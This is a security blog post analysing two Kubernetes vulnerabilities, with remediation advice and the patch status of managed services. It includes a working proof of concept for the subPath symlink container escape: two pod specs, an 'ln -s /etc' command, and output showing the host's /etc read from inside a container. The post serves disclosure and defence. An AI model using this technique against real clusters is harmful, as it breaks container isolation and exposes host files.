Deep dive on the most severe Kubernetes vulnerabilities to date – CVE-2017-1002101 and CVE-2017-1002102

Two vulnerabilities were reported and fixed in Kubernetes two weeks ago. The GitHub issues discussing the vulnerabilities and fixes were vague, so in this post I will review the bugs in additional detail and suggest remediation methods.

The first bug (CVE-2017-1002101) allows containers using subPath volume mounts to access files or directories outside of the volume, including the host’s filesystem. The second one (CVE-2017-1002102) allows containers using certain volumes to trigger deletion of arbitrary files on the host filesystem.

A simple, yet powerful PoC of exploiting the subPath vulnerability and accessing /etc on the host from within a container:

CVE-2017-1002101

Kubernetes (K8S) volumes are mount points that can be used to host persistent data that will stay intact after the pod restarts. Volumes can be mapped to directories on the host, temporary directories, cloud hosted volumes and others. Volumes are mapped as Linux mounts inside the containers by docker (using the Linux kernel mounts namespacing).

The “subPath” attribute in the pod spec allows to use sub directories of a mounted volume in different containers. The flaw is that K8S doesn’t check if the path specified by the “subPath” attribute is a valid file inside the volume. In fact, one can set the “subPath” attribute to a symlink that points to a file or directory outside of the volume and then start a container that has access to the host file system.

The bug allows to bypass the pod security policy and specifically the “AllowedHostPaths” attribute which should limit the volumes to specific directories on the host.

Let’s demonstrate a simple way to exploit the bug:

1. Using K8S API (through kubectl or other tools) create a pod with a volume that is mounted to the host file system. The volume will be mounted at /vol.

   The pod spec would be:
   

   apiVersion: v1
   kind: Pod
   metadata:
   name: vuln-container1
   spec:
   containers:
   - image: alpine
   name: vuln-container1
   volumeMounts:
   # mount point inside the container
   - mountPath: /vol
   name: host-volume1
   command: ["sleep"]
   args: ["1000"]
   volumes:
   - name: host-volume1
   hostPath:
   # directory location on host
   path: /tmp/test

2. From within the container create a symlink to /etc at /vol/sym. This can be done with the ln command: “ln -s /etc /vol/sym”.
3. Using K8S API create another pod with a volume that is mounted as /vol. Add a “subPath” attribute that is set to “sym”.
   The pod spec would be:

   apiVersion: v1
   kind: Pod
   metadata:
   name: vuln-container2
   spec:
   containers:
   - image: alpine
   name: vuln-container2
   volumeMounts:
   # mount point inside the container
   - mountPath: /vol
   name: host-volume2
   # subPath mount on the host
   subPath: sym
   command: ["sleep"]
   args: ["1000"]
   volumes:
   - name: host-volume2
   hostPath:
   # directory location on host
   path: /tmp/test

Inspecting the container will show that /tmp/test/sym (which points to /etc on the host) is mounted as /vol:

nits@nits:~/dev/k8s-vulns$ docker inspect 6307a26675e3  | grep Mounts -A 10
"Mounts": [
{
"Type": "bind",
"Source": "/tmp/test/sym",
"Destination": "/vol",
"Mode": "",
"RW": true,
"Propagation": "rprivate"
},

Checking the contents of /vol inside the container would reveal the contents of /etc on the host (I trimmed the output):

nits@nits:~/dev/k8s-vulns$ docker exec -it 6307a26675e3 /bin/ls -la /vol
total 1348
drwxr-xr-x  151 root     root         12288 Mar 19 08:46 .
drwxr-xr-x   27 root     root          4096 Mar 20 19:26 ..
drwxr-xr-x    3 root     root          4096 Jun  6  2017 .java
-rw-------    1 root     root             0 Feb 15  2017 .pwd.lock
drwxr-xr-x    2 root     root          4096 Aug  6  2017 ImageMagick-6
drwxr-xr-x    8 root     root          4096 Jun  6  2017 NetworkManager
drwxr-xr-x    2 root     root          4096 Feb 15  2017 UPower
drwxr-xr-x   11 root     root          4096 Feb 15  2017 X11
drwxr-xr-x    3 root     root          4096 Feb 15  2017 acpi
-rw-r--r--    1 root     root          3028 Feb 15  2017 adduser.conf
drwxr-xr-x    2 root     root         12288 Dec  7 15:30 alternatives

This is the one of most severe security bugs reported in K8S to date. The bug ultimately breaks the isolation of the containerized environment and allows a breach to the host file system.

The strongest remedy would be to upgrade the K8S instance. That said, the bugfixes created several new issues which need to be reviewed carefully before upgrading. I suggest reviewing the K8S github issue and take the necessary actions for upgrade.

If upgrading is not an option, a quick hack is available: use PodSecurityPolicy objects to limit container creation permissions and disable hostPath volumes completely.

CVE-2017-1002102

This vulnerability allows containers using Secret, configMap, downwardAPI or projected volumes to trigger deletion of files and directories on the host. The deletion is done by Kubelet process, which runs as root, and can delete any file or directory on the host.

The best practice to fix the bug is to upgrade the cluster, otherwise Secrets, configMap, downwardAPI and projected volumes should be disabled. The upgrade will mount these volumes as readonly and will cause write calls to fail. Containers will need to be updated accordingly.

For more information on vulnerable versions and how to upgrade please read the relevant github issue.

Implications For Managed Kubernetes

One week ago Google updated their GKE setup and allowed users to update their system as well. There are still open issues with the new version, so please review the release notes before upgrading.

The Red Hat team coordinated with Google the release of the security fixes and made sure that OpenShift is updated. They posted a thorough blog post about the upgrade process.

Amazon EKS is still in preview, contact Amazon support to check if they updated the infrastructure.

Microsoft hasn’t updated Azure Container Service (AKS) which is still vulnerable (currently supports 1.8.7 and 1.7.12). There is no date for the upgrade yet.

How can Twistlock help?

Twistlock detects this bug using three different defense vectors:

• Host vulnerability scanning: detect and alert that the K8S installation is not updated and thus impacted by the CVEs
• Container compliance: alert on any pod that mounts sensitive host folders
• Container runtime security: Alert when pod access sensitive files on the host

Conclusion

The Kubernetes team put a lot of effort into addressing these bugs, fixing them and porting fixes to older versions (back to 1.7). As part of our regular Twistlock Labs research on severe vulnerabilities, we found this one particularly interesting and decided to cover it in a special blog post.

Follow @TwistlockLabs on Twitter to get updates on our further publications!

• Categories:
• Container Security
• Kubernetes
• Security Alerts
share: